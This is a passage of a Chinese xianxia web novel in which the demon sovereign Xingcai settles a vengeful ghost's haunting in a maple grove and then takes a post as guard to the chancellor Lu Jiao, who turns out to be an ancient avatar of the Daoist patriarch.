芳菲发现被骗，适才的楚楚可怜已经消失不见，变得嗜血又阴邪：“花容，你又救她。我恨你。花夫人，都怪你。若不是你在枫林行苟且之事，世人又怎么会把此地变成偷情之所。你该死。”
花容落下血泪，却因荇菜的灵力被定住无法动弹。
荇菜反应过来，花容才是想要救自己，以虚幻的柳夫人吸引芳菲的仇恨。
她看向芳菲身后无声立着的九阳，蹙眉道：“芳菲，再给你个机会，将这里的实情完整说出来。”
芳菲没看到身后的九阳剑尊，御鬼气和妖力趋势枫根捆缚荇菜的双臂：“你与花相公在枫林拥吻，三年来，此地就成书生贵妇偷情的好地方。
每每举办枫宴，到处弥漫着情爱的气息。花娘子，你真是给他们开个好头。”
“因为这个，你就恨本尊？”荇菜看向四周仿佛被定住的男女，一指点向花容，释放他。
花容踉跄了下，飘飞上前：“娘子，别这样，你杀的人已经够多了。”
“多吗？这些男男女女污秽不堪，家有妻儿、夫君子女，却在外勾三搭四，他们该死。你也该死。”芳菲御妖气缠住花容，向枫林深处拖拽而去。
九阳剑尊冷眼看着，没有出手相帮，仿佛在说“这是你的第二个除妖任务。”
荇菜白他一眼，飞身追去：“芳菲，那是你最爱的夫君啊。”
芳菲蓦然停下，长发泛红丝邪气，飞扬如瀑，死死地纠缠着花容，让他也沾染上红丝怨气：“他爱上与我姐妹相称的柳夫人，与她背着柳大人在枫林约会。
我发现他们的奸情，花容他……”抚摸脸颊，嫣红的瞳仁里蓄满哀伤、愤恨，“柳夫人剥掉我的脸，撕烂我最好看的白裙衫。
相公……花容把我葬在血枫下，呜呜……为什么，为什么？花娘子，你说我很好看，穿白衣宛若仙子，为什么他要这样待我，为什么？”
荇菜结合查到的消息，恍然道：“你被花容和柳夫人杀死？”
“是啊。因为我碍事了。我为他苦学舞艺，逗柳夫人开心。柳夫人却背着我和他在枫林幽会。花娘子，我好恨。”
芳菲狠狠地转向垂头的花容，将他提吊起来又狠狠地摔在地，“这是你欠我的！”
一时间，荇菜都不知道该帮谁。
上一个血蝠妖很好收拾，专挑女子吸血，直接除掉就行。现在这一幕，好似两人都有做错。
九阳剑
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尊挥手，悬浮的玲珑球飘向捆缚花容的枫树根，涅槃灯火灼烧枫根。
“啊……”芳菲与血枫融为一体，被灼烧作痛，往后一躲，消失在枫林。
花容期期艾艾地蹲在枫叶上，抱作一团：“不是这样。我跑来阻止，但是迟了。柳夫人逼我，若我不顺她意，就将血枫设为怨魂塚，为祸一方，让芳菲永世不能投生。呜呜……我错了，不该为进京去讨好柳夫人，让夫妻二人落得如此下场。呜呜……”
荇菜刚要上前，花容已经哭着消失。
四周幻境也随之消散，九阳剑尊看向抚摸手腕的荇菜：“遇到熟人就不知道怎么解决？”
荇菜睨他，一言不发。
九阳抓过她被芳菲捏过的手腕，用灵力驱除肌肤上的黑气：“阴邪的红煞和怨气会侵蚀修士的灵体，不可在身上久留，需尽快消除。”
荇菜任他施为，环顾幽暗的枫林：“芳菲施展得是低级的幻境。人死散神，她怎么会带有妖气呢？”
“过去看看便知。”九阳剑尊拉着她的皓腕，穿过迷雾，步入血枫树下。
荇菜早前就发现这棵树，树下埋得应该是芳菲的尸体。
“芳菲，这些人都是你杀得吗？”
“他们该死。为人夫不守夫道、为人妻不守妻则，与外人通，害家人痛苦、离散，活该死在这。”
荇菜沉默了瞬，驱使玲珑球灼向血枫的树洞处，一枚古铜色的封妖牌从树身掉落。
芳菲从封妖牌里飘忽而出，一掌打向九阳剑尊。
九阳剑尊没有出剑，周身微荡灵力，就将芳菲击飞出去。纯阳之力乃是邪灵克星。
他张手一摄，封妖牌入手，翻覆相看：“三生道喜欢驱使妖灵为使役。有人用封妖牌存储妖丹，将怨灵融入妖丹，为祸一方。她被封妖牌捆缚在此，造下杀孽。”
花容从地下浮出，一把扶起痛苦的芳菲：“娘子，我错了。我真得错了。”
芳菲狠狠地推开他：“别碰我。”
花容跪在九阳和荇菜面前，连连磕头：“花娘子，求你看在花公子的面上放过芳菲吧。
当年，柳夫人威胁我，若我不从她，将芳菲向伎女学艺的事宣扬出去。我这才失了心智，做下错事。
芳菲发现我和柳夫人的事，我想全盘告诉她。但是，柳大人回来，柳夫人趁机将芳菲残杀在此。我想来救却迟了，我找柳大人说理，却被丫鬟盯牢……后来，柳大人也将我杀害，埋尸溪岸。
半个月前，枫林来一位公子，将芳菲的魂魄封入此牌。枫林才成一个凶地。杀人不是她的本意，求求花娘子，放过她吧。”
荇菜转向九阳剑尊，发现他掉头向外，分明是打算观望：“喂，你见过合欢宗超度恶灵吗？你能超度他们吗？”
九阳剑尊眉间淡定，平静道：“驱除男魂身上缠绕的红煞怨气就可以让他离开人世，而女魂……被怨气侵蚀太过，又犯下数宗杀孽，若驱除怨煞，就会魂飞魄散。”
“不要。”花容一把扑向芳菲，“我愿意代娘子魂飞魄散。”
芳菲从愤恨转向不可置信：“你说得都是实话？”
“娘子，真话。可恨柳夫人和柳大人返回京都，我们无从报仇。娘子，我真的错了，你不要再杀人。下辈子，你就好好投胎做人。”
荇菜冷眼看两夫妻的魂魄闹腾，造成这一切的夫妻已经上京享福，当真是可笑。
她朝九阳剑尊道：“芳菲，我认识的，能不能救？”
九阳剑尊挑眉：“高僧的佛法可以洗怨。但是……世间就刚才一个还在坚持做和尚。”
“火云子！”荇菜的心里说不清是什么感觉，去扯九阳腰间的储灵袋：“我先将你们收起来。”
“阿弥陀佛。”一道佛偈从远及近，随之而来是经文驱邪声。
荇菜僵住手脚，默默地转身看去。
火云子闭着眼，面容从芳菲夫妇的怨魂处落在荇菜处，暗红的唇口慢慢地吐出几字：“熟悉的气息，是你，妖女！”
荇菜嚅唇半响，轻笑出声：“呵，原来是小和尚。佛笼合境，没想到你能逃出来。”
“为什么？”火云子捏紧木鱼，紧闭的双目沁出两行泪，“为什么？”
“什么为什么？本尊说过，妖么，所行之道，只凭喜好。比方此地，你不觉得很让人畅快吗？”
九阳剑尊耳痒手快，直接给荇菜的额头来一下：“胡说什么。”又转向火云子，“大师，我们是……”
荇菜懒得废话，一把抓住九阳剑尊，再一掌打向芳菲夫妇。
火云子跃身拦下袭向怨灵的灵力，回身找荇菜时她和九阳剑尊已经不在枫林。
他想要追荇菜问个清楚，害人的怨灵又要逃，当即取钵降伏怨灵夫妻。
荇菜站在枫林外，耳听林里传来经文清世，缓缓地松口气。
“好了，事情算是解决了吧？”
九阳剑尊长出口气：“为什么不说明白，任由他误会你？”
荇菜抱胸哼笑：“误会？你不也想知道吗？美兕蛊惑惊雷，确实是受本尊指点。至于她带妖、人一起攻山，本尊没有参与，却也知晓此事。
知情不报本就有错。解释什么？
虱多不痒、债多不愁，本尊会怕他？”
知错犯法，罪加一等。九阳剑尊默默吞下此话，递去封妖牌：“三生道的人又在搞事，若不揪出此人，还会有不少妖或滞留人世的鬼魂遭殃。”
“这是你们青虞宗正道剑修的事。”荇菜横他，接过封妖牌。古铜暗黄色的牌子散发淡淡的妖气。
“三生道，道生花。难道是他的手笔？”心神感应签订的主仆契约，“仆契没有感应，他不在附近。”
九阳剑尊拦住她不让离开：“你用剑气横扫枫林外的气流，以炙阳之力让此地的空气重新流动起来，可以帮助里面的僧人尽快进化此地。”
荇菜抽回手，抿唇道：“凭什么？”
“若你不做，这就不能算你第二件除妖任务。除妖善后，有始有终。”
荇菜睨他，忽然又展颜嬉笑：“本尊是妖，凭什么遵守你的约定，不干。”说完，她挑眉一跃就想跑走。
九阳剑尊破空一拦，突兀地喷出口血：“啊……你吸了我那么多灵力，这点忙都不帮吗？”
荇菜皱张脸：“你不是在修无情道，怎么还扮可怜？”
“太上忘情，就得先入情。我发现此道甚是艰难。啊……”九阳剑尊直接坐下来，被嫌弃的荇菜轻轻地踢了一脚。
“也不怕脏。”荇菜并指御剑，利眸一定，飞身而起。炙阳剑力以纯阳剑术施展，横扫枫林上空和四周，硬是把邪晦的气息灼熔殆尽。
她落地收起流苏灵剑，回头见九阳剑尊好端端站在那，抽着唇角，“九阳，你是越来越皮了。”
九阳剑尊一本正经地点头：“娘子真是好剑力。高僧快出来了，我们走吗？”
“这话说得好似本尊怕他，哼。”荇菜转身快步离去。
至青螺镇外，她凝出合欢花信送往合欢宗，眯眸道，“柳家夫妇害了人却能逍遥在外，真是便宜。合欢宗会派人前往欧丝国都解决此事。”
九阳剑尊抱胸靠树，闻言露笑：“娘子，你真是嘴硬心软。”
荇菜回望他，生出找个机会甩掉他的想法。
九阳剑尊去掉高冷的伪装，越发没脸没皮。所谓祛魅，不止他对她祛魅，也是她烦了他。这块硬骨头啃不动，就先去挑软骨头拿捏。
“哎，火云子不会善罢甘休，一会他若追来，你记得帮本尊拦下。不然，本尊就当你的面杀了他。”
81. 第 81 章
火云子定然不会放过荇菜，追着她的佛息入拘缨国。
荇菜让九阳剑尊拦人，自己走小路藏进山林。
四面巨木耸天，居高望下一座大城屹立在平凹山野，宛如绿林明珠。
荇菜回首山峦，拍掌哼笑：“总算是甩掉这俩家伙。”没了九阳这个盯人精，竟觉得浑身轻松。如同入林的小鸟，她纵身下山，直奔大城。
拘缨国的国都名唤天缨城，皇族姓欧阳。
此处的人不同其它几国的民风，在这里非常有宿命感。随处可见的算卦摊子，逢人就能叨叨两句梅花术数。
人在摊位前站一会，先跨出左脚，都有人说你接下来的运势如何。
荇菜看向拦道的欧阳燕歌，抿唇无声，绕过他继续走。
欧阳燕歌嬉笑着跟上：“妖尊有灾劫，在下有解法。若在下遇上妖尊不帮着改，上天会惩罚我。”
“本尊能有什么灾有什么难啊？听闻你帮凤尊凤武拿回羽民国尊位，不是应该在羽民国吃香喝辣，当一回国师什么？”天龙道的走狗！
荇菜无暇怼他，进一家酒楼入座，招小二上当地的特色菜。
欧阳燕歌没脸没皮坐在荇菜对面，给她到杯水。
荇菜懒得理他，甩掉九阳剑尊，又冒出个欧阳燕歌。这些个分身，修为高了就不好对付，啃不动。眼下这位的气息驳杂，似纯不纯，不知道干了什么事。
小二上几碟小菜，一壶花酿：“两位客官，现下正是神召节，乃是十国会前的预热盛会，不容错过啊。”
荇菜：“神召节？”
小二甩巾子笑：“是啊。今年的神召节在咱们拘缨国举办，由天净宗长老观云婴主持，他可是真正的神算子啊。”
欧阳燕歌挥退小二，倒两杯酒，推过去一盏：“这小二哥太没眼见，堂堂天净宗神算在他面前，夸什么观云婴。神召节集结各国美女，再遴选十位美人送上浮空岛，供天龙道笑纳，顺道定个日子开十国会。”
荇菜硬是没沾上唇瓣的酒水，放下盏：“你说十国一起遴选美人送上浮空岛，送给道祖天尊……黄八蛋……”
“嘘……”欧阳燕歌倾身去捂她嘴，荇菜直接靠后避开他的手。
欧阳燕歌：“小点声。渡劫大能与天语，世间万物念过神通。你这样说，他能感应到。”
“感应到就感应到了呗。本尊还会怕他？”荇菜冷嗤，“送美女上去做什么，一个渡劫大能还会贪图美色？”
欧阳燕歌压住唇角，慢条斯理地喝杯酒、嚼颗花生，玩味地嬉笑着：“做什么都可以啊。送上去了就是人家的人。”
“国主遴选，那就不可能是女修士。神召节选得是凡女？”
欧阳燕歌颔首，抛了颗花生入嘴：“凡女寿命虽短，但绝色天然，不可多得的美丽。所谓红颜薄命，若有好颜色却无好命，多半也是被世人糟蹋。神召节就是凡女脱胎换骨的好机会。一入浮空岛，驻颜有术，不仅美丽持久，还能看到最接近神的男人，谁不向往啊。”
“嗤，说白了不过是凡人的妄想。换句话说，修炼算不算是特别的医美？”荇菜捂脸，瞬间觉得这酒不醇、菜不香了。
欧阳燕歌好笑地看向她：“怎么听你这话，有股子奇怪的味儿。”
“你有病吧。自己付钱，AA。”
“唉唉？”欧阳燕歌看她扔半角银子走人，也扔锭银子上桌，“我还没说完呢。神召节上还会选游学修士，乃是八宗派出的男女弟子，共十六人，护送十位侍神女郎一起入浮空岛。”
荇菜搜索记忆，花涟的记忆库里没有这玩意。也对，花涟是个大门不出二门不迈的修士，天下大乱都跟他没关系。
“这么说合欢宗也会有两名弟子前来护送侍神女郎上浮空岛？”
“不错。若你有兴趣参会，我同拘缨皇室有点关系，可以带你去哦。”
荇菜笑睨：“本尊堂堂合欢妖尊，需要你那点关系？切，别再跟着本尊。”
欧阳燕歌咬牙，再次跟上：“我再送你一个消息，关于凤尊。”
荇菜驻足回看，冷眼看他说。
“凤尊拿下羽民国后，黎耀和赤羽潜逃上浮空岛。凤尊本该闭关恢复修为，突然出关上岛，至今没有下岛。前不久，也挺久了。山泽国主崔洧曾在浮空岛与凤尊有一面之缘。凤尊托山泽国主传出话，合欢妖尊要的东西已经备下，但他身陷囹圄，无法离开浮空岛，望妖尊上岛团聚。”
荇菜要得是赤羽的精魄，精魄可以存储分身的神识，以此获取同黄椒谈判的筹码。
“崔洧真在浮空岛见过凤武，你又是如何得知山泽的消息？”
欧阳燕歌展出大大的笑容，从宽袖里取出随身不离的古铜色罗盘。
“妖尊大人，我说过了，我不仅是神算，而且天下之事，无有不知。”
“AA都不知道，扔下这么大块银子，你就吹吧。”荇菜白眼送他，想起这家伙的跟踪之术了得，当街嚷嚷，“色狼，你轻薄我。”眼疾手快甩他一巴掌，再向四周呼救，“救命啊，来人啊，这个色狼轻薄我……”
“你……哎？”欧阳燕歌捂住被打麻的脸，瞬间被围观的人群淹没。他眼睁睁地看荇菜从人群里溜走，“妖女……真是狡猾。你们放手，我不是……我没有……”
红衣持刀的侍卫高声道：“天子脚下，竟有人敢行龌龊之事，抓起来带走。”一群路人闻声而动，押欧阳燕歌去见官。
荇菜目睹一行人押着欧阳燕歌离开，旋手凝出合欢信：“掌门师侄，听说神召节会有游学修士上浮空岛，女修士的名额我要了。”
目送合欢信化光离开，荇菜步出小巷，正巧一抬官轿从她面前经过。街头风大，吹起轿帘，露出里面一张棱廓分明的年轻俊容。
荇菜立在街头，目送官轿远去，眸光定在轿子悬挂的飘旗：“陆。”拽个街头小哥问，“请问坐在轿子里的人是谁啊？”
“你连他都不认识，外来人吧。他是我们拘缨国的丞相陆皎大人。年纪轻轻就官拜一品，为人清正、为官廉洁，乃是我拘缨国主不可多得
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的左膀右臂。此次神召节能在天缨城举办，也是陆皎大人出面和谈十国，不然就是他山泽国的好事。”
“神召节在哪国举行就有好事？”
“当然。神召节在哪国举行，十国会上该国国主就会出面发言，而这位国主能直接同天龙天尊对话。你说这算不算好事？如今高昌覆灭，山泽坐大，若是再让山泽出头，其它国家还要混吗？陆皎大人深明远虑，游说他国，将神召节定在天缨城，就是有此顾虑。”
荇菜轻笑，拱手道：“不愧是天子脚下的人，先生好见解，多谢。”
一路随游人寻到陆府，正见陆府在招护卫，意在神召节时保护陆大人的出行安全。
荇菜把流苏长剑背上，跟着接榜的人入宅。
“哟呵，姑娘啊，瞧你年纪轻轻，不适合干这行。陆大人由我们保护就行，你这几分姿色去参加神召节待选的侍神女郎不好吗？”
“就是。”
……路人甲乙丙丁纷纷讥嘲。
陆府的管事自称陆明，高声道：“安静。陆大人不喜吵闹，诸位请随我入院。”
一行八人都是应聘护卫，被陆明领入一处院子。
陆明道：“此地乃是天净宗修士布下的奇门阵，若诸位能走过这处园子，就能面见大人。此乃第一关，请。”
一行八人争先恐后入阵。
荇菜落在最后，漫步跟去。
园子大气又漂亮，松柏苍翠，竹木清幽，山石角落处的芍药更是清丽绝伦。
荇菜边走，眉眼间就发生些变化，宛如白色芍药，遮去牡丹的贵艳，余下清新可人的姿态。
“《玉石还阳功》果然会根据主人的心意伪装姿色，宛如猎食的食人花。”
“哎，怎么走回来了?”
“又是你。”
……
陆明见六人转回，笑着拱手：“抱歉，诸位。府内备下薄银，多谢诸位跑这一趟。”
六人看了眼走出来的园子，悻悻地领银子离去。
荇菜靠在假山后听见外头的话，指点下颌：“确实很难走出去。花涟也不善此道。”指点额心，以神牵之术外释神识虚影，向各方奔去。不稍片刻，外释的神识虚影尽皆回归。
“找到了。”
神牵之术也是神识外放，好处在于不易被修真人士察觉。
修士探查四周普遍以圆形状态，大面积外放神识。一旦神识触及对手就会被察觉，对手会提高警惕或者觉得冒犯而回击。但是，神牵之术以神识拟虚影人形，前去查探四周，范围有限，但胜在隐蔽，不易惊动他人。
荇菜走出园子时已有一位道袍青年站在陆皎面前，正是八人里一言不发的道长。
她上前向立在廊庭的陆皎拱手：“陆大人，我这算是过关了吧。”
道袍青年细细地打量荇菜，行礼道：“在下天净宗筑基修士玄麦，见过道友。”
荇菜拱手回礼：“江湖侠女，荇菜。”
“江湖？荇菜？”玄麦惊讶地重复一遍。
82. 第 82 章
陆皎抵着唇轻咳了声，眸光里掠过一缕清光：“江河小菜，别有风味。姑娘名字如身份，真是别具一格。”
荇菜抱胸回眸，睨向这位风趣幽默的陆丞相：“丞相大人松竹清贵、皎洁如月，名字和样貌挺配。”
“……你怎么这样说话，你在调戏丞相大人吗？”玄麦震惊道。
荇菜发现这家伙挺多事，知道别人在调戏你还说出来，忒没情调。
“本……人听闻修士里有一种说法，化神之下道途不悟，才会入凡尘给权贵做打手。这位玄麦修士真得很需要历练修行。”
“你？”玄麦往后退，想要反驳又觉得她的话在理，“我不就是因为修炼没到家才在人世历练吗，这有什么错？”
荇菜颔首：“没错。人贵自知之明。好。”
玄麦觉得又被侮辱，但是没证据。
“玄道长、荇菜女侠。”陆皎出面说和，“两位已经过本官这关。第三关乃是由本官的护卫清溪考核两位。”
跃身而来的红衣持刀护卫向陆皎行礼：“大人，适才街上闹事的人已经送往天缨衙门。”
陆皎颔首：“辛苦清溪大人。”又向两位介绍，“清溪是陛下身边的二品带刀侍卫，武艺了得，由他考核两位，请小心。”
“大人客气。”清溪拱手回礼，又仔细地审视荇菜和玄麦：“两位一起攻来吧。”
玄麦再次惊讶：“你是凡人，我是……”
荇菜认出这名清溪护卫，正是他在大街上押解欧阳燕歌去见官，回禀得也正是这件事。如此，陆皎当时围观那一幕。
她送玄麦一眼：“你就留在这叨叨吧。”右手祭掌攻向清溪。
清溪徒手接掌，借力转力将荇菜推出去。
荇菜回身踢去，又被避过。
几招下来，她发现清溪的直觉非常厉害，能预先探到对手得下一步行动。
若不用修士的本事，说不定真会落败。荇菜抽出长剑，以《还阳功》的二章夺气之术，御风加快身形，提升攻击速度。
清溪也能跟上她的速度，且是遇快则快，眸光里还生出几缕疑惑。
荇菜对他人的神态观察了得，忽然明白：陆皎选护卫不一定要打得过清溪，只要能在他手下走过几十招，在民间都算高手。我若持续跟清溪较真，反会显得身份可疑。与清溪过招这关本就是探人出身、身份等行为。
虚晃一招，人被清溪一掌推向旁观的陆皎。
“啊……”
“大人……”清溪吓一跳，赶忙去追荇菜。
荇菜已经扑向陆皎，就要跌进他的怀里。
陆皎侧身一避，拉住荇菜的手腕，避免她撞向山石，再用力回拉，人就直接撞进怀。
沉寂的心忽然被撞出一声响，“咚”，宛如春日的惊雷灌耳，让他有片刻愣怔。
“大人，没事吧？”清溪一把将荇菜从陆皎怀里拉出，上下扫视陆皎。
荇菜避开清溪的手腕，旋身立在一旁，与陆皎望来的清灵眼神相交，又各自撇开。
陆皎就道：“我没事。玄道长就不必再试身手，令师已经传信给我，告知过你会来帮忙。”
玄麦轻舒口气，拱手作揖：“多谢陆大人。麻烦清溪大人。”
荇菜拂袖正身，抽着唇角：“这么说过关考核仅仅是针对我一人。清溪大人，你可从我的身手上看出什么呀？”
清溪：“姑娘的身法奇快、身姿轻灵，不似凡人所有。姑娘已经落败，就请离开。”
荇菜哼笑：“我逃命功夫好不行啊？你看不出我何门何派，就以我落败为由，不打算录用我？”
她看向兀自垂眸的陆皎，莞尔道，“陆大人，我是欧丝国玉华镇花家人士。这年头的修士多如狗，你们快信去查便知真假。”
玄麦跳脚指来：“什么叫修士如狗，你什么意思？”
“字面意思。出门在外，一百个人里总能碰上个修士，这还不多啊？”
清溪蹙眉：“姑娘不要扯开话题，现在说得是姑娘没被录取，请姑娘离开。”
荇菜运气上脸，整张脸一片霞光绯色，似被羞恼得下不来台。
泫然欲泣：“你们……”
陆皎张唇，摆手道：“清溪，带两位去休息吧，顺便说清楚两位在府内的职责。”扫眼荇菜后率先回院子进书房。
清溪一脸郁闷，看向绽笑的荇菜：“姑娘为人未免太不正派。”
荇菜本要回怼句“本尊高兴就好，”顾忌现在的身份，展颜道，“吾等女子才不跟你这种大男子一般见识。本……人的住处在哪？”
清溪手指荇菜，说不出话。
旁边的玄麦憋着笑，拍在清溪的肩头：适才的憋闷在见到仁兄的状态后终于舒畅。所谓：独闷闷不如众闷闷。
一拍嘴巴：“果然修行没到家。”
远离正院的西苑小屋，简陋得如同一般的客栈住宿。
荇菜打量屋子，脸上既不嫌弃也不欣喜。
清溪：“我是圣上身边的二品带刀侍卫，圣上下令，由我负责神召节期间陆大人的安全。与会期间，各国官员和修士会护送待选女郎入都，我也无暇分身，需要护卫帮忙补漏。”
荇菜回身站定：“一名内定，一名随机。同玄麦一起参选，正好看另一人的深浅。清溪大人挺懂行。”
清溪蹙眉：“姑娘负责随轿出行。陆大人不出门时姑娘可在府内休息。”
荇菜目送他离开，又送一道合欢信给掌门师侄，帮忙落实玉华镇身份的事。躺在简陋的床上翻来覆去，支走前来送饭的小姑娘。
“醉了。本尊堂堂大修士，搞得跟筑基一样出来历练，为什么不直接找上门？”
说干就干。荇菜一路穿廊过厅，就见清溪立在面前，紫眸凝定：“小家伙，睡去吧。”
清溪木然转身，靠在一旁的假山上睡过去。
荇菜好笑地看他眼：“做护卫也不容易，说睡就睡这。”
她穿过书院的门廊，正见玄麦从书房里出来，侧身避在一旁。
待玄麦走后，又见侍女奉空盏
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出来，便决定等一小会儿。
果然，适才的侍女又奉茶入院，被荇菜含笑接过茶盘。
“进来。”陆皎听见敲门声应道。
茶盏放在手边，陆皎见奉茶的影子不退，仰头看到荇菜，眨下眼：“荇姑娘有事？这是下人做的事，不必劳烦姑娘亲自奉茶。”
荇菜倾过书桌，怼在陆皎的面前，轻轻地嗅下：“确实是分身没错。你很不一样。”
陆皎轻晃眸光，淡定地放下文书折子：“姑娘是修士？”
“嗯。”荇菜点头，“你不喊吗？”
从穿书开始，遇到的分身只项檀、柏黄不会修炼。
项檀有修炼的条件却不修炼，柏黄没有修炼的条件只能沉浮人世。
那么，这位陆皎丞相的眉目清奇，有修炼的根骨却不修炼，给人的感觉非常奇怪。
“荇姑娘来做护卫，又不是来害我。我怕什么。”陆皎端起荇菜拿来的茶盏，浅抿一口，搁下茶盏，“我还有文书未阅完。姑娘若对我的书房有兴趣，请随意参观。”
话说完，他就真低头阅览文书，似屋里的人不存在。
荇菜轻笑，环顾书房四周。几架子书，一架博古架，再有门口两角各一盆君子兰，书房的布置看起来非常简单。
唯一奇的地方是正中有一落地缸盆，盆口幽深，里头的水泛小泡泡，再有几条花色别致的凤尾鱼深藏缸底。
“这鱼……很少见。”
陆皎下笔的动作微顿，低首继续：“羽民国往北的北冥鱼，小且耐活，比较好养。”
“北冥……鱼，其名为鲲？”荇菜下意识道，刻在种花国人骨子里的北冥，就会想到鲲。
陆皎僵住，愕然抬头：“姑娘认识这种鱼？”
荇菜瞧入他望来的疑惑眼眸，弯下身，探向鱼缸：“若我把它捞出来把玩，它会不会……”
“住手。”陆皎急忙起身，吞下口水，“姑娘，夜深了。请……”
荇菜上前两步，背后的手指已经御灵将缸里的鱼捞出水面。
陆皎睁大眼，看向她身后展翅张口的大鱼，疾步绕过长桌和荇菜，一把将鱼扑回鱼缸。水花四溅，从小小的缸口向外撒一地。
迎着荇菜回望的眼眸，陆皎理着湿漉漉的衣袖：“姑娘究竟想做什么？”
“你是修士，但不是一般的修士。”荇菜再次靠近陆皎，见他后仰避开，动用紫眸，“这鱼有什么玄机？”
陆皎眨眼，躲开紫眸的诱惑：“听过逍遥游吗？北冥鱼入水为鲲，怒而高飞，入空化鸟为鹏。它乖顺时是这般小巧模样，动怒时才为鲲鹏。”
“你果然是修士，这缸里泛小泡，乃是活水。”荇菜绕至陆皎的正面，“至今抵挡住本尊紫瞳的人不超过三位，你是其中之一，修为不浅，却看起来没修为。”
陆皎轻笑，正正经经地看向荇菜：“我也无法抵挡姑娘的心魔惑术。只不过，姑娘的眼眸里出现愤怒的鲲鹏，我恰好封心锁爱，修炼‘忘’字诀，从你的惑术里挣脱出来，合欢妖尊。”
83. 第 83 章
荇菜哈哈大笑，有趣道：“你果然不简单。既知本尊，可知本尊找上你的目的？”
“妖尊命带红煞，主……杀破狼命格。见到你，我怕是命不久矣。”陆皎也笑，笑得云淡风轻，“无妨。我这一生本就在抗命、挣命又认命。有的人不信命，誓与命抗争。我不一样，分身又如何，不过天地一旅、万古同尘，想开后也没什么。”
荇菜掉头就走：“困了。”
陆皎诧异地看向她的背影，再次笑出声。
探手入鱼缸，拨弄北冥鱼：“竟是个温柔的人。杀破狼，紫薇帝命。千年格局，终将再变。”
翌日，陆皎要去上朝。
清溪拍着头，环顾轿子四周：“荇姑娘怎么不出来护卫，没人喊她吗？”
荇菜懒散散地出门，见陆皎上轿子，跟进去。
清溪横刀阻拦，克制道：“下来。”
陆皎掀起轿帘，面若皎月蒙纱：“无碍，轿子够大，足坐两人。”
放下轿帘后他笑望靠上肩头的女子，微微地挺直身段，让她靠得更舒服，“烦吗？”
荇菜轻愣，又极为自然道：“嗯。不明白究竟为什么？”
“既来之则安之，随心随意，便是道。”
荇菜豁然挺直，看向一脸清贵的陆皎。她见过不少真性情的人，但如陆皎这样随遇而安、处置泰安得真不多。
“你真得特别有趣。”特别容易让人放下心神防备，像话本里带来宝藏的老神仙。
“活得久不一定能活明白。但是，看得多总能明白些别人不知道的事。”
荇菜顺他话意：“比如？”
“比如，姑娘想要寻找他的分身，靠分身汲取他的力量，从而削弱他。分身易找，但你要杀、还是要收、又或者得到他的心？无论哪一件，都不容易。”
轿子穿街过早市，悠着向拘缨皇宫去。清晨的喧嚣给荇菜一点回神的空间。
她揽住陆皎的手臂，下颚抵在他的臂弯，仰面注目他：“其实，一开始本尊真得很愤怒。”
神思一晃，想起许多过往的画面。
“愤怒朱琴天一剑刺杀本尊；愤怒那些分身又救又爱又恨又厌，像情感骗子。自从本尊的修为被师父封印后，十方山寺以佛笼合境了结世俗恩怨，一切好像淡下来。
兴许是朱琴天被青虞宗逐出山门又被通缉，过起过街老鼠、生不如死的日子。又或许是花涟的仇已报，回了他该去的地方。也可能是九阳破了本尊的心魔惑术，让本尊觉得分身确实是独立的人。
仔细想想……这算什么报仇呢？分身若是人，花涟是自愿接受龙弼的要求。分身若不是人，正主还好端端活在浮空岛。
退一万步，若花涟还在，他不会希望本尊怂恿美兕做下此事。
若花涟还在，分身怎么样于我又有多大干系？若花涟还在，我是否也能放下来处、过去，安心在此生活，与此间万物一样沉沦轮回。”
陆皎微眯眸光，低首看向目露迷茫的女子：“荇姑娘没有爱上花长老啊。”
荇菜倏地松开他的手臂，望向陆皎的脸庞，目里沁上泪意。她追忆着枫林过往，细细地抚摸陆皎的耳鬓。
触手间不带一丝旖旎，只目里透出怀念的泪光。
“每一个分身都有相似的地方。至少，他从不会让分身变丑。”
陆皎抿唇微笑，摇头道：“逃避不是解决问题的方法。丑的分身也有。姑娘一步步走来，未尝不是天命使然。我先前讲，顺心遂意，便是道。姑娘，人生在世，高兴就好。”
荇菜低首失笑：这个男人三句不离命，看来在他这也找不到答案。难道真得只有道祖天尊能给出答案吗？
“你是天净宗得什么人吧？”又抵上陆皎的肩头，收敛因他放荡的思绪。微凉的气息拂在他的耳廓，吐气如兰，“面嫩无须、肤白脸净，世俗的丞相哪有你这张脸。”
陆皎的心再次“咚”了声，生出丝丝喜悦。探手抚向荇菜的颊边：“数千年了，第一次感受到做他分身的好处。若让正主挪位，倒不失一桩千古奇事。”
“嗯？”荇菜直起身，“数千年？”
“是啊。数千年。荇姑娘不是问我是谁吗？据我所知，他有四道分身游走在外，一直无法收回。不巧，我就是其中之一。”
“你们想要……”
“他们想。我活得久，起初有所谓，后来便觉得无所谓。话分两头，若他有本事，大可将我收回去。不过，我看这么多年，他喜欢造分身却不喜回收，不知道究竟有什么打算。”
荇菜指点下颚，好奇道：“数千年的分身也不知道他的真实打算？”
“姑娘对此好像一点都不意外。”陆皎笑着摇头，“世人只知道他出世至今千余年，未曾想过他是真老不死。凡是知道他秘密的人都认为他以分身感悟世间情理，辅以修炼进阶，为了突破飞升。
但我们四人知道：他不是。”
“不是？”荇菜轻笑，“巧了。本尊从金丹、元婴、分神、合体等分身处得来的消息也认为他为最后的突破飞升做准备。但是……”迎着陆皎的眸光，荇菜避谈在金猴姐识海内发现的情报，“陆大人口中得其他三位大能是谁？”
“姑娘运好，遇上就知道。分身不过是神识入藕，随阵法吸收自然生机，日久天长演化出肉/身凡体。所以，分身也有丑得不可见人。
我们虽能逍遥，终归是他得一道神念。”
陆皎感知轿子落地，再次抚在荇菜的颊边，细细地摩挲着，如抚爱不释手的书卷页脚，“姑娘来了，我竟也有一丝想要挣一挣的想法。
不过，这个想法是错的，只会加速我的消散而已。”
陆皎捏在荇菜的肩头让她坐直：“姑娘千变万化，我还是喜欢初见姑娘时的情态，让人悦之心喜，生出活着也美好的心情，真好。”
他如沐春风般微笑，掀起帘子下轿，朝回不过神的清溪温声道：“送荇姑娘回去，以上宾礼待之。玄麦道长随本官进宫。”
清溪哑口，见陆皎和玄麦离去，拱手应下：“是，大人。”
他重新护送轿子回陆府，待掀开帘子，里面空无一人。
“人呢？她果然不是普通人。”
往日大人严肃正经，哪里会笑？这女人哪是侠女，分明是妖女！
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荇菜看向清清爽爽的天缨城衙门，敲在牢门栏杆上的锁链：“喂，你真待在里头，你不是姓欧阳吗？”
欧阳燕歌不抬眼，有气无力：“你知道送我进来的人是谁？拘缨陆丞相，拘缨国内名声仅次于国主……不，还有一位……”
“谁？”
欧阳燕歌抬起眉眼看向荇菜，露出一惯的笑容：“往日妖尊避我如蛇蝎，今日个怎么来牢房看我？”
